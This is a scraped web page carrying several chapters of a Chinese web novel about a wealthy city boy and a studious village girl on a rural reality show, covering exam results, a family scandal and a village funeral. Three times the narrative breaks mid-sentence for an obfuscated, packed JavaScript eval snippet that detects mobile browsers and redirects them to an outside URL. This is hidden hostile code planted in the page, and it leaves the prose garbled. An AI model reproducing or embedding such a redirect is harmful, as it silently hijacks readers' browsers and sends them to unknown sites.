顾辉家里的人比祝婴宁家多,除了他本人,还有爷爷奶奶、妈妈和两个妹妹,空间却没比祝婴宁家大多少。他家里的人全都坐在炕上,见到祝婴宁来,热情地想要让个位给她,被她拒绝了几次才作罢。 “我就是来问问顾辉为什么没参加期中考,很快就走了。”她说。 顾辉妈妈和他本人一样沉闷,闻言也是哦了一声就没话了,倒是两个老人健谈,一听祝婴宁是来打听顾辉为什么没去参加期中考的,话匣子就打开了,滔滔不绝地控诉起来。他们说的是方言,许思睿没法完全听懂,只能半听半猜,勉强拼凑出个大概。 原因说来狗血。 顾辉的爸妈和祝婴宁的爸爸一样,在大城市打工,家里五口人全靠父母的工钱养活。然而前段时间,顾辉爸出轨了,迷上了一个离婚带娃的饭店老板,闹死闹活要抛家弃子跟她组建新家庭,连老板提出的入赘条件都答应了。 “这个混账!丢下妻儿老小就不管了,想跟着人家城里老板享福哩!也不撒泡尿照照自己是个什么腌臜相,猪八戒想娶新媳妇!没良心的孽畜,不孝子,白眼狼……” 老人骂起自己的儿子来毫不心慈手软,骂完儿子又骂饭店老板,丝毫不顾忌着有晚辈和外人在场。 顾辉妈听着听着就埋头抹起了眼泪。她发现丈夫出轨后试图劝他回心转意,可惜劝说无果,只好先买了车票回家,想找家人商量。顾辉也是因为这事儿才没去考试。 许思睿一方面震惊于两位老人竟然随随便便就把此等家丑告诉了他和祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她觉得许思睿在婚恋观上的洁癖还蛮可爱的,独自向前走了一段路,才轻声说:“如果他们家有钱,我就不会那样建议了。” “什么意思,这和钱不钱的有什么关系?” 祝婴宁回过头来看着他:“顾辉家全靠父母的工资生活,少了任何一个,对他们来说都是毁灭性打击,顾辉可能初中毕业就得早早出社会帮忙挣钱了,两个妹妹也许连接受完义务教育的机会都没有。不念书的话,他们能干什么呢?和父母一样去大城市当工人,去搬砖头?大夏天顶着40°的高温吊在高楼大厦的窗户外?他们只能一直重复父母辈的生活,永远逃不出贫穷的怪圈。” “还有顾辉妈,她要么独自一人抚养大三个孩子,把自己的身体累垮,要么只能带着孩子改嫁。但以她的条件,大概也只能嫁给二婚带娃的男人,两家一合并,小孩的数量翻倍,等待她的依然是无穷无尽的贫穷和辛苦。” “只有送孩子读书是他们家唯一的出路,而读书需要钱,需要有人挣钱。” 许思睿愣了愣。他没想得这么深,也没想到她会想得这么深。 “可是离婚后男方也得给赡养费吧?况且顾辉他爸是过错方,分财产又没优势。靠着这些钱,他们三兄妹还不能把书念完吗?”他说。 “我们这儿的人哪有什么财产可分呀?”她笑着摇了摇头,“多的是离婚不给抚养费的父母。我们村里就有一个例子,也是男方看上了城里女人,隐瞒婚史和城里女人跑了,你猜他一年只给家里寄多少抚养费?” “……一千?”他斟酌着往低了猜。 “六块。” 这也太离谱了。 许思睿下意识想问为什么不打官司,可仔细一想,打官司要钱,要精力,要时间,忙于过日子的小老百姓哪来的这些东西和人渣耗?他没想到贫穷的家庭竟然连离婚的权力都没有,心里有些感慨,想再说点什么,嘴巴还没张开,余光就瞥见了一片朝他们扑来的阴影。 他理所当然以为是塑料袋之类的东西,正要悠然避开,就听哗啦一声巨响—— 身上一凉,视野一黑,有人兜头朝他泼了一盆脏水。 有足足五秒的时间,许思睿整个人都是懵的,大脑一片空白,闭着眼睛张着嘴巴任由水液自他颊侧哗哗向下流淌。五秒过后,水液渐息,他才缓慢抬起手,捏开挡在眼前的东西,定睛一看,发现那是一片烂菜叶子。 操。 偏头去看右边的祝婴宁,她湿得比他还厉害,缩着脖子僵在原地,肩膀上顶着一块胡萝卜,眼皮因为水流冲刷迟迟无法睁开。 到底哪个神经泼的?! 他盯着手里的菜叶,盯着盯着就咬牙切齿笑出了声,将菜叶撕得粉碎,随手朝空中一扬,大步流星朝水泼来的方向走去。 28. 出成绩 顾大春提着空桶站在家门口,看到许思睿气势汹汹朝自己走来,自知理亏,连忙指着祝婴宁高声嚷道:“我是要泼她的,谁让你站她旁边了!不关我事!” 许思睿快步走上前,二话不说,直接抡拳砸向他的面门。 顾大春没想到这人这么莽,话都不听人说完就动手了。他躲避不及,生生挨了一拳,鼻梁霎时传来一阵剧痛。 许思睿甩着拳头,朝他皮笑肉不笑道:“我本来是要打你身后那扇门的,谁让你站在门前了,不关我事。” “我操!” 顾大春捂着差点被一拳干歪的鼻子,气得七窍生烟,腾出一只手想要抓住许思睿,手指还没碰到他的领口,就听祝婴宁在一旁断然喝道:“顾大春,你敢!你知道他是谁吗?” 他被她这一嗓子吼得愣了神,不自觉问:“他是谁?” “我告诉你!他是——”祝婴宁瞥了许思睿一眼,几不可察地卡了卡壳,下一秒又佯装无事,提高嗓门,继续说道,“他爸爸是上市公司的老总,他舅舅是警察局局长,小姨是著名明星,你要是敢找他麻烦,他们全家能像按死只蚂蚁一样摁死你!旁边还有摄影师在录呢,是你泼人在先,我劝你好自为之。” 一席话把许思睿说晕了,冲到头顶的怒火也降了不少。 他们家是有钱,但也没有钱到这种程度。上市公司?这倒确实是他爸努力的目标。所谓目标,换句话说就是没实现。警察局局长舅舅?别说警察局局长了,他压根就没有舅舅。还有著名明星,周天晴听到这话估计做梦都能笑醒,只可惜她博客账号只有四万粉。祝婴宁把他说得活像个翻手为云覆手为雨的霸总男主,许思睿脸皮再厚也有点挂不住,目光斜向她,不知道她在发什么神经。 不过顾大春显然是被她这席话唬住了,停下要去抓许思睿衣领的动作,狐疑地打量着他,脸上露出几许沉思之色。 趁着这个时机,祝婴宁拉了拉许思睿的衣袖,朝顾大春虚张声势道:“也就是你运气好,我们还赶着去做其他事,今天不和你计较,再有下次,算你倒霉!”说完扯着许思睿就走。 “你干什么?”他蹙起眉,想甩开她的手。 开玩笑,只揍一拳怎么能解他的心头恨?那个叫顾大春的也不知道朝他身上泼了什么水,一股又酸又臭的味儿,没把他打死都算他仁慈。 但祝婴宁力大无穷,许思睿被她一路拽到了村口,才成功掰开她的手。 他余怒未消,正要发飙,转念一想,想起什么,双眼迷成狭缝,朝她意味深长一笑,语气也变得格外温柔:“祝婴宁,他刚刚好像说他想泼的是你。” 闻言她心虚地颤了颤,尬笑两声,埋头就要开溜,然而还没走几步就被他拎着后颈衣服提了回来,抬头一看,只看这人笑得阴森森的:“难怪你进村要走小路啊,你就是在躲着他吧?” 虽然是问句,用的却是陈述的口吻。 “没有……” “说!”他板起脸,“你到底招惹了什么事?拿我狐假虎威就算了,我被你连累成这样,你要是不能给我个合理的解释,我现在就把你丢进猪栏喂猪。” 她被他提溜在手里,垂头丧气,拿眼尾偷偷观察他,见他面有愠色,过了半天,才举手投降道:“好吧……我说。” 她摸了摸鼻子,轻声咕哝,声音跟蚊子哼哼似的:“其实……他就是祝娟的丈夫。” 许思睿没料到是这个答案,楞了一会儿,才继续逼问:“祝娟丈夫就祝娟丈夫,祝娟丈夫泼你水干嘛?他吃饱了撑的?” 祝婴宁左看右看,躲避着他的眼神,直到他掂了掂她的衣领,掂菜一样,把她掂得上下晃了晃,险些双脚离地,她才挤牙膏似的继续咕哝道:“因为我打过他,所以他记恨上了我。” “……你打过谁?” 许思睿怀疑自己耳朵出问题了。尽管知道她力气大,但瞧着她的小身板,再对比顾大春膘肥体壮的身躯,他实在很难想象她殴打中年男子的画面。 反正说都说了,她索性一骨碌全交代了,绞着手指轻声道来:“祝娟以前不是经常被他打吗?我越想越气不过,就找了个机会,溜到他们那,趁他不注意,在他身后拿板砖把他拍晕了,顺带揍了他一顿。本来是天衣无缝的……可不巧被他家里人撞见,我们两家就结下了仇。我倒也不是怕他,只是那段时间他天天上我们村口骂街,扰得街坊邻居怨声载道,还扬言要砸掉我们家,为了把他打发走,我阿爸赔了他两只鸡半头猪,让我别去他们村招惹他,所以我才绕道走的。” 许思睿听得目瞪口呆,好半天都不知道该说什么,他既觉得这么冲动的事不像她能干出来的,又觉得由她干出来好像也是情理之中。 想了想,他问出了一个最白痴的问题:“你不是说君子动口不动手么?” 本来以为她会心虚——毕竟祝婴宁总是将她那套传统价值观奉为圭臬——谁知她挥舞着拳头,涨红脸色,义正言辞道:“那是对同样是君子的人而言,顾大春算什么君子?他就是个小人!打小人怎么能叫打架呢,那叫惩恶扬善!我还嫌当时打得不够狠呢!” 这套价值观还挺弹性挺双标,而且诡异地在价值观范围内自圆其说了,形成了逻辑自洽,许思睿没忍住笑了起来。 笑了几声,闻到自己身上的味,他又笑不出来了,收敛起笑容,把她朝地上一放,没好气道:“我可以先不和你计较,但回去后我必须先洗澡。” 对于他缺乏绅士风度这件事,祝婴宁早已有了深刻认知,何况这事因她而起,闻言她并未有异议:“行。” 她身体好,迟洗一时半会不算什么,倒是许思睿常给她一种娇生惯养很容易生病的感觉。 ** 一语成谶。 周六早上起来,许思睿就有些鼻塞,刘桂芳给他煮了一碗生姜水,他捏着鼻子喝下,结果到了晚上,还是拖拖拉拉发展成了重感冒。 许思睿本来就容易犯懒,一生病更是懒得从被窝里爬起来。 周一早上,祝婴宁自己去了学校,他则留在家里睡觉。 999感冒灵冲剂喝完堪比嗑了安眠药,许思睿一觉从天亮睡到傍晚,除了中途被刘桂芳喊起来吃了点午饭,其余时候都昏睡不醒。傍晚时分清醒也并非自然醒,而是到了饭点,又被强行喊起来补充能量。 他从炕上艰难起身,扶着沉甸甸的头,屈膝蜷在炕沿,看到帘子束了起来,房子中央照例又打上了四脚矮桌,刘桂芳跪坐在桌子旁边摆放碗筷,祝婴宁则手捧老太太的饭碗站在窗前,一边捣饭一边盯着外头发呆。 直到刘桂芳喊他过来喝热水,祝婴宁才回过神,从自己书包里抽出几张试卷,朝他走过来,轻声说:“期中考的试卷发了。” 他头还疼着,随意扫了卷面几眼,没有伸手去接,只是淡淡嗯了一声,用带鼻音的声音回答:“你帮我收着吧。” “啊,你不先看看自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543201|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的分数吗?”她抖开卷面,以一种展示奖状的姿势将试卷拿在手里,露出与有荣焉的表情,朝他龇牙一笑,“你考得特别特别特别——好!” 除了语文,其他科目全是满分。 分数和他猜想的差不多,许思睿略微松了口气,随口问:“排第几名?” “第一。” 排名也不出所料。 虽然在一个只有五十多人的年级里排第一没什么值得炫耀的,但他对自己成绩的那点儿担忧还是随着这个排名消散了许多。 本来对话进行到这里就该结束了,许思睿是一个懒得主动关心别人的人,他以自我为中心的性格严重到即使在原来那种高手如云的强校,即使知道学校里不乏成绩比他好的人,他也记不住那些人的名字和排名——因为他只关心自己。 可是,也不知道怎么回事,他忽然想起考试前祝婴宁说过的那句话,她说她不能比从前的自己退步。明明当时听的时候也没怎么过脑,现在却突兀地想了起来,他不由自主问了句:“你呢?” 她撇撇嘴,表情瞬间由与有荣焉转为蔫头耷脑:“我的第一名当然是被你抢走了。” 许思睿察言观色,觉得蔫头耷脑里玩笑的成分居多,不像真的生气,于是哼了一声:“第二名总有吧?” “当然。” “那没事儿了。”他欠兮兮地一扬眉,“输给我你并不丢脸。” 按照他在以往班上和同学相处的经验,这种时候正常人都会损他一句,大家互相损来损去,一个玩笑就算开起来了。但是祝婴宁的反应不是这样,她朝他笑了笑,真诚地说:“许思睿,你能考这么好,我真的很为你高兴。” …… 见鬼。 他别开脸,手掌按着后脖颈,耳根飞上一片薄红。虽然已经见识过好几次了,但他还是非常不习惯她这种突然一本正经打直球表达内心感受的沟通方式。 很让听者别扭,也很窝心。 感觉自己就像阴沟里的一只老鼠,莫名其妙被一束阳光感化了。 许思睿拍了拍胳膊,把由这个联想而激发的鸡皮疙瘩拍了下去。 吃完晚饭,他又喝了包999,不顾其他人劝阻,硬是洗了个澡,把自己收拾干净了,这才重新躺了下去。 他对这一天最后的记忆是祝婴宁过来床上问他能不能把试卷借她校对答案,他迷迷糊糊回了句“可以啊,随便你”就彻底失去了意识。 不过,大概是白天睡多了,这一回999没能让他一觉睡到天明。 零点左右,许思睿醒了,前所未有的清醒,感觉未来十二小时内都无法再次睡着那种清醒。 他在心里默默骂了句脏话,一时不知道该继续在炕上躺尸,还是爬起来做点别的事。 正犹豫着,他就看到了帘子上那团熟悉且黯淡的亮光。 不是吧?许思睿偏头看了看三八线那一侧,发现床位空着,祝婴宁竟然还没过来睡,这么晚了,她该不会还在校对试卷? 反正闲着也是闲着,他想到她还没睡,厨房里应该会烧有热水,干脆掀开帘子,打算下去找点水润润喉。怕吵醒刘桂芳和祝婴宁的奶奶,他刻意控制着动作幅度,轻手轻脚溜下了炕。 由于动作太轻,连书桌前学习的祝婴宁也没发现他的动静。许思睿站直了,原地伸了个懒腰,目光自然而然落到了她身上。 就是这一眼让他动作猛一顿,差点没把腰闪到。 29. 毛绒绒 不是吧…… 不是吧不是吧不是吧。 他心里全方位环绕着绝望的哀鸣,轻轻挪了挪脚步,站到一个能够看清她五官的角度,想知道刚刚那一眼是不是自己看岔了。 然而千真万确。 她在哭。 说哭并不是很准确,应该说是一边学习一边流泪。试卷早就已经校对完了,她翻着教科书和习题,进一步优化自己的笔记,动作行云流水,人也安安静静的,要不是脸上挂着两行泪,桌子上摆满比他搓鼻涕用掉的纸巾还多的湿润纸团,他很难相信她真的在哭。 至于为什么哭,看这半夜不睡觉拼命学习的架势,许思睿觉得自己要是还猜不出来,那才真是傻子。 撞破一个女孩子半夜偷偷哭鼻子,原因还和他脱不开干系,他心里五味杂陈,惊讶有之,慌乱有之,别扭有之,尴尬有之,茫然有之……但仔细品一品,在所有这些情绪下,似乎还隐隐约约埋藏着一丝暗爽。不怪他有这种情绪,实在是因为他在祝婴宁面前哭过太多次了,虽然嘴上不说,可他心里始终对此耿耿于怀,觉得自己在她那丢的脸都可以捡起来装进篮子里,回收到批发市场上卖。好不容易扳回一城,同样目睹她伤心难过的瞬间,他情不自禁觉得有点爽。 许思睿被自己扭曲且混乱的心态吓了一大跳,觉得自己大有朝变态发展的趋势,赶紧甩了甩头,把暗爽甩出去。 摇头幅度太大,祝婴宁后知后觉,缓缓朝他看了过来。 对上她的视线,他身体一僵,乱七八糟的情绪瞬间消失,唯剩慌乱占据上风。他抬起手,停顿片刻,又放下手,想要说点什么却觉词穷,只好默默注视着她。 换成平时,祝婴宁多半会尴尬,但她哭了太久,脸都哭麻了,脑子也木木的,发现许思睿站在那儿后,也只是略觉吃惊,挂着未干的泪痕,用气音问:“你怎么起来了?” “白天睡太多,现在睡不着了。”他同样用气音回答。 “哦……” 谈话间他已经走到了书桌边,环抱双臂,斜倚在墙面上,盯着她头顶圆溜溜的发旋——她头发长得快,才短短一个月,就从寸头长成了蓬松的刺猬头——轻声叹了口气,无奈道:“白天不还说为我感到高兴吗?” 还害他感动了几秒。 结果竟然是骗人的。 她抬眸看着他,揉了揉眼角,点头说:“我确实很为你感到高兴啊。” “……真的假的?”他用气音笑了一声,干脆蹲下来,蹲到和她视线齐平的高度,盯着她的眼睛做出认真打量状,揶揄道,“没看出来。” 祝婴宁有气无力地瞪了他一眼,垂头盯着自己的手指:“人的感情是复杂的,不是只能拥有一种心情,你考得好,我当然为你感到高兴啊,可是……”说着说着,她的话音就哽住了,喉咙像堵了团棉花,粘稠,梗塞,努力了很久,才挤出后半句话,“可是我觉得好不甘心……” 她交握的手指滴滴答答打上泪水,泪水濡湿指节,没入指缝。 许思睿愣了愣。他不是没遇到过重视成绩的人,以前他们重点班有个男生,仅仅因为某次考试从年级第二退步到年级十七,他父母就罚他在客厅跪了一整晚,还不许他吃饭。那个男生大概是长期被打压狠了,当晚就吞了半瓶安眠药自杀。还有个父母离婚的女生,每次考试退步都会用圆规在自己胳膊上刻正字。和这些例子比起来,祝婴宁重视成绩的程度那都不算什么。只是…… 她说不甘心时的神态很鲜明。 不是为了满足父母的期望,不是承载着外界压力不得不为之,而单纯只是因为她自己渴望成功。 不甘心被超越,不甘心比不过别人,不甘心自己屈居人下,仅此而已。 他极度缺乏安慰他人的经验,在脑子里搜刮良久,想找出点话说,但最终也只是干巴巴地从桌子上抽了张纸巾递给她。 她倒是老大不客气就接过来搓起了鼻涕。 搓完鼻涕,才接着说:“从第一天上学开始,我就没有考过第一名以外的名次,除了今天。” 虽说他们这个学校水平有限,学生也少,但要始终维持在第一名,还真不是一件容易的事,许思睿听完倒真有些佩服她。 “我觉得我已经努力过了,做了我能做的所有事,这次考试我也没有马虎应付。可是……你明明都没有复习,却还是轻轻松松就超过了我。”说到这她嘴角一撇,又想哭了。 他既好笑又无奈:“这话说的……我也没有很轻松好吧?” “你瞒着我偷偷复习了吗?”她吸着鼻子问,表情可怜巴巴的。 “那倒没有。”他有点想笑,解释说,“但从幼儿园开始,我妈就给我报辅导班了。你们周末在喂鸡鸭牛羊的时候,我在上各种辅导班,什么奥赛啊编程啊,还有体育啊乐器啊。实话跟你说吧,其实你们老师教的内容我早不知多少年前就学过了,我们学校的考试也比你们这的难。” 说到这,他发现自己有了安慰的思路,于是滔滔不绝:“你考不过我很正常,不是你能力不行,也不是你不够努力,只是因为你没那个学习环境而已,要是你来城里住段时间,保不准你能考得比我好。” 说完自认为这理由找得十分完美,祝婴宁肯定不能再伤心了,结果她皱着脸,定格几秒,再次掉起了金豆豆。 许思睿被她吓了一大跳,没想到她不哭则已,一哭惊人,居然还刹不住车的。正想再安慰点什么,就听她抽噎着说:“如果像你说的,外边的人都这么厉害,那我岂不是再怎么努力都考不上大学了?” “你……” 他没想到祝婴宁这么有发散思维,闻言简直哭笑不得,伸出右手在她额上轻轻推了一下,把她低垂的脑袋推了起来,臭屁地说,“傻不傻啊你,你这话到底是在看不起自己还是看不起我?不是谁都能像我一样牛逼的好吧,有教育资源是一回事,有没有学习的脑子又是另一回事,像我这样能充分利用资源发挥脑力优势的人毕竟是凤毛麟角。而且,你能一直保持第一,证明你也有学习的头脑,只是缺了点资源而已,有什么可担心的。” 推完以后,他才后知后觉她的头发很软,右手手掌残余着她头发毛绒绒的触感,他没忍住看了手掌一眼。 这回她像是被他这番话安慰到了,收住眼泪,垂眸沉思起来。 见她似有所悟,也不再哭了,许思睿这才松了口气,发现自己说话太多,喉咙更干了,于是起身开始寻找水杯。 水杯正好在书桌上,她顺手拿给他。 许思睿接过来,又朝她脑袋上拍了拍,确认了一下手感,发现真的很软,于是趁她低落着没留意,迅速揉了一把。 “不许哭了啊。”他轻声说,说完才转身走去了厨房。 等他在厨房喝完水,顺便上了趟厕所回来,祝婴宁已经熄灯躺下了。许思睿安心了不少,她要再哭下去,他还真不知道该怎么应对这种情况了。 ** 都说病来如山倒病去如抽丝,养病养到周四,许思睿才稍微恢复精神,顶着一张病怏怏的脸继续去学校上课。 也许是好几天没来学校的缘故,他发现班上同学变得有些陌生,具体哪里陌生他说不出来,就是觉得别扭得很。 一直到早读下课,周天瑞和他搭话,他才发现这股怪异的感觉来源于哪儿。 周天瑞说:“许思睿,没想到你成绩这么好,人也不错,被那样对待过一次,居然还这么不藏私,我对你改观了。”说完还朝他竖起了大拇指。 “哈?” 许思睿深感莫名其妙。 “你就别傲娇了。”周天瑞嘻嘻哈哈拍着他的肩,“之前数学小测你的试卷不是被扔了吗,没想到这次期中考你居然还愿意把试卷借出来给大家校对。换成我是你,我肯定有点记仇的,你表面看着挺龟|毛,实际……” 许思睿不得不打断他越来越离奇的话:“我什么时候把试卷借给——” 话还没说完,他就想通了,转头看向一旁的祝婴宁,差点没被气笑:“是你?” 他的卷子就借给了她一个人,而且她还有前科,用屁股想都知道绝对是这人又自作主张想借此帮助他缓和同学关系了。虽然他对自己的试卷身处何方完全不在意,过后大概率也不会再去看它,但试卷被全班人的手摸过的感觉还是让他感到非常膈应,光是想象一下都觉得脏透了。 罪魁祸首理直气壮,被他拆穿,还点点头,说:“我征求过你同意的,你忘了吗?” “什么时候的事?我一点印象都没有。” “周一晚上你睡觉之前啊。” 许思睿努力回忆了一下,想起自己那时迷迷糊糊,只听到她问能不能把试卷借给她校对答案,没听到后半句。那时他是怎么回答的来着?他好像说“可以啊,随便你”。靠,所以还真是他自己答应的。 有口难言,许思睿无语了。 祝婴宁还反过来开解他:“这次效果很好,根据我的观察,班上已经有很多同学慢慢对你改观了,相信很快你就能彻底融入班集体。” “……我谢谢你啊。” “不客气。” “?” 有一瞬间他差点以为她故意在阴阳怪气,但祝婴宁说“不客气”时的语调太正经了,说完以后便转回去整理起课本,正经到让人很难将阴阳怪气这种词同她联系在一起。他逐渐确信她在察言观色这方面单纯只是缺根筋,直白点说,就是听不懂好赖话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543202|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道为什么,许思睿忽然很想验证一下这个猜测,他舒展手脚,半趴在桌面上,欠嗖嗖地叫她:“欸,祝婴宁。” 她朝他偏过半张脸,用眼神询问他什么事。 “有没有人说过你有点圣母啊?” 她果然露出疑惑的神色:“圣母?圣母玛利亚那个圣母吗?” “对。” 她脸色微红,谦虚地笑笑:“她境界太高了,我没有那么好啦,我还需要不断学习。” 这回答实在太有她的风格了,透着一股听不懂好赖话的傻劲儿,一本正经得有点冷幽默。猜测得到验证,许思睿没憋住,把头埋在胳膊里,肩膀耸动,无声抽笑起来。 祝婴宁不知道他搭错了哪根筋,皱眉看了他片刻,见他笑得停不下来,干脆把课本立起来,转头做起自己的事了。 ** 别说,祝婴宁的“圣母”还是有点用的,今天一天下来,班上有好几个同学都主动同他搭了话,虽然聊的话题无非是“你以前在哪个学校上学啊”“你一定在重点班吧”这种许思睿完全不感兴趣甚至觉得浪费时间的话题,但比起前些天又是扔试卷又是拆椅子,这种无聊的对话倒也不是不能接受了。 不过许思睿总体还是一个很独的人,下课以后也懒得主动找别人交流。除了解决三急,他一般都待在座位上看书,或者独自趴在走廊栏杆上吹风。 让他意外的是祝婴宁,平时下课她都不见人影,要么在帮老师改作业收作业,要么在帮同学解决一些鸡毛蒜皮的事——帮女生扎辫子啦,给好学的同学讲题啦,制止欺负同班女生的顽劣男生啦,总之忙得很,堪比一块砖,哪里需要哪里搬。 有些人帮人是因为不好意思拒绝他人,但许思睿看得出来,祝婴宁帮人是因为她真的乐在其中,看到别人走上正途她就高兴,也不知道上辈子到底是个什么角色,他常常怀疑她是雷锋投胎转世。 无法理解。他想。 然而今天,也许是受到那晚谈话的刺激,下课以后她破天荒没有跑来跑去到处挥洒爱心,而是坐在座位上埋头苦学。 她做的练习册是学校统一发的练习册。深山里除了学校集体采购的教材和练习册也没别的学习资料,许思睿看她学了半天,忍了又忍,才没告诉她“你把这些习题做出花来也没用”。 他粗略看过她的试卷。单论卷面的话,她其实只比他多错了那么几道题,有好几科和他一样达到了满分,但许思睿知道这都只是表象。他考100分是因为满分只有100分,她考100分则是因为老师教授给她的知识的极限就是100分。如果一起做一套难度更高的卷子,他敢保证自己依然能拿满分,而她可就未必了。总而言之,她需要的不是夯实基础,而是提高。 超越现有师资水平的提高。 ** 晚上杨吉坐在棚里和摄制组其他人锄大D,正玩得上头,就见正对面的帘子忽然被人掀开,许思睿径直走了进来。 “哎哟,稀客啊,咋啦,有事?” 摄制组里男人多,男人多的地方体味重,许思睿嫌他们这一股脚臭味,轻易不往这来,所以说稀客倒也不夸张。 这位稀客捏着鼻子,拿另一只手在鼻子前方挥了挥,就差把嫌弃两字放大刻脑门上了。他从裤兜里摸出一张纸,丢给对面的杨吉,语气一如既往颐指气使:“你们第四期的录像带快要寄出去了吧,到时去镇上顺便帮我给我妈打个电话,这是电话号码。” 他积分够,打个电话倒也没什么,杨吉接过纸条,想起他之前吃醋赌气不跟家里人联系的事,笑着打趣他:“怎么,想妈妈啦?想找家人和好?” “屁。”他翻了个白眼,“我只是想让她给我寄点东西。” “先说好,改善生活的东西可不行啊。” “不是改善生活的。”他扭捏地将视线瞥向了棚子的角落里,清咳几声,才说,“我只是想让她给我寄点学习用品,你让她把我房间里那些练习册全给寄过来,尤其是难的,多寄点。” 闻言棚里的人全都怀疑自己耳朵出问题了,有人调侃道:“许思睿,你可以啊,真改造成功了,开始喜欢学习了?” “滚!关你屁事。” 许思睿脸上有点臊得慌,做出这个决定纯属脑子抽了,他凭着一股气抄下电话号码来到这儿,还真有点经不起别人调侃。确认完杨吉会托人帮他打电话后,他就匆匆忙忙出去了,松开鼻子,狠狠吸了口外面的新鲜空气。 山里哪哪都不好,没有马桶,没有空调,没有网络,唯独空气质量不错,比北京动不动雾霾天好多了。 他叉着腰站在原地,狠狠感受了一下天地之气的净化,这才慢悠悠走回了屋里。 30. 葬礼 在等待周天澜给他寄学习资料的这段时间里,祝家村发生了一件事,大事。 有人死了。 死的是个老头,七十多岁,上午干活时脑梗发作,拉到镇上卫生所抢救,医生一看,发现已经凉了,只好原封不动又拉回去。 这边的习俗是死在家外的人不能停尸停在家里,也不能停在祠堂里,只能在祠堂外搭个棚。 那天许思睿和祝婴宁放学后走到村口,就看到村口祠堂附近突兀地多出一个早上还没有的竹棚,棚顶铺着白布,几个披麻戴孝的人跪在棚里痛哭。 “又有剧组过来拍戏?” 许思睿生在城市里,而且从小爷爷奶奶外公外婆健在,没见识过这种阵仗,不带脑子问出这句话后就悠哉悠哉插着兜走了过去,直到余光瞥见棚底木板上停放的尸体,瞳孔才骤然一缩,“卧槽”一声,吓得魂飞魄散,立刻闪到了祝婴宁身后。 祝婴宁对村里突然有人去世的事同样意外,也就没顾上对他的胆小感到震惊。 她刚想上前察看清楚,就被身后的许思睿握着肩膀拉了回来,他双手都搭在她肩上,努力用她瘦小的身躯遮挡自己的视线,头使劲撇向看不到尸体的另一边,语无伦次求道:“别别别——!别……别!那个……你先别过去,要过去也把我送回家里再去,我操。” “……” 祝婴宁怕许思睿再这么“卧槽”下去会引起逝者亲属的众怒,只好先依言把他送回家里,再独自出来打听情况。 逝者和她们家没有血缘关系,来往也少,但毕竟是同村人,多多少少带些宗族感情,她虽然不至于伤心痛哭,心情却也不大好受,和刘桂芳一起去棚底下吊唁片刻,安慰了他们家的人,这才姗姗归来。 生死在他们这是一等一的大事,没一会儿祝家村有人去世的消息就在邻近几个村子都传开了,陆陆续续有人过来凭吊,不止亲属来,同逝者没啥交集的陌生人也来了几个。每个来到这的人,不管亲疏远近,都会跪在蒲团上哭一阵,和同样痛哭流涕的亲属抱成一团,互相安慰。 这种宗族感情或者说邻里之情远远超出了许思睿的理解范畴,从突然见到尸体的惊吓中缓过来以后,到底是身为小孩子的好奇心占了上风,他忍不住站在门口观望。 村里的葬礼不像城里的葬礼。城市人口密集,为了不影响周边治安,普通人家的葬礼通常都从简,他见识过的最大阵仗也就是一行人穿着丧服排成长龙,从人行道上经过,一路有人敲锣打鼓。而山村里则保留了更多古老的习俗,单是纸钱这一项就和城里大不相同。 城里的纸钱是买现成的,这里则是自己折的,村民觉得由子孙后代亲手折的纸钱更虔诚,更有“灵气”。 晚饭过后,有人搬来几筐草纸,逝者的家属坐在棚底下,一边聊天一边折纸元宝。 往常总是早早熄灯的村子破天荒亮了一夜的灯,不断有人进出棚子,交替守夜。就算躺在炕上睡觉了,也能听到外头窸窸窣窣的声响。 不过这种由新鲜事物引起的好奇心很快就消散了,因为第二天一早,逝者家属请了一帮民间艺人在棚子下吹拉弹唱。这帮来哭丧的艺人特别敬业,不仅乐器敲得响亮,还专门有个人负责哭,跪在蒲团上,气运丹田,声震百里,哭得极其投入,极其大声,极其持久,声音都成破锣嗓子了还在坚持,让人觉得他能挣这钱全是他应得的。 许思睿观察了一下,发现这应该是他们村里约定俗成的习俗,因为没有任何人对这些堪称噪音的声音感到不满,大家都很宽容。死者为大,即使被吵得脑仁疼,他也不好说什么,只能耐着性子默默忍受。 这一忍就忍了足足两天。 直到周日下午,祝婴宁才过来告诉他:“傍晚他们要出殡了。” 这几天她一直不见踪影,忙里忙外。许思睿不懂别人家有人去世她为什么会这么忙,但一想到她那个什么事都要管一管的性子,又觉得她忙也是合该的。 她不仅人回来,胳膊下也夹了几套丧服,他闲着无聊,在心里数了数,一、二、三,一共三套,数完忍不住脱口而出吐槽道:“你奶奶都瘫痪了也得去出殡啊?你们这习俗还挺奇怪。” 她用看傻子的眼神看了他一眼:“有一套是你的。” 许思睿被自己的口水呛了一下:“给我干嘛,我又不认识那个死……者。” “是逝者。”祝婴宁皱眉纠正他,“死者这说法不礼貌,听起来像凶杀案一样。” “……行,逝者。”其实他原本想说的是死人,心想还好这话没说出口,不然八成得被她念叨死,“我又不认识那个逝者,出殡我去凑什么热闹。” 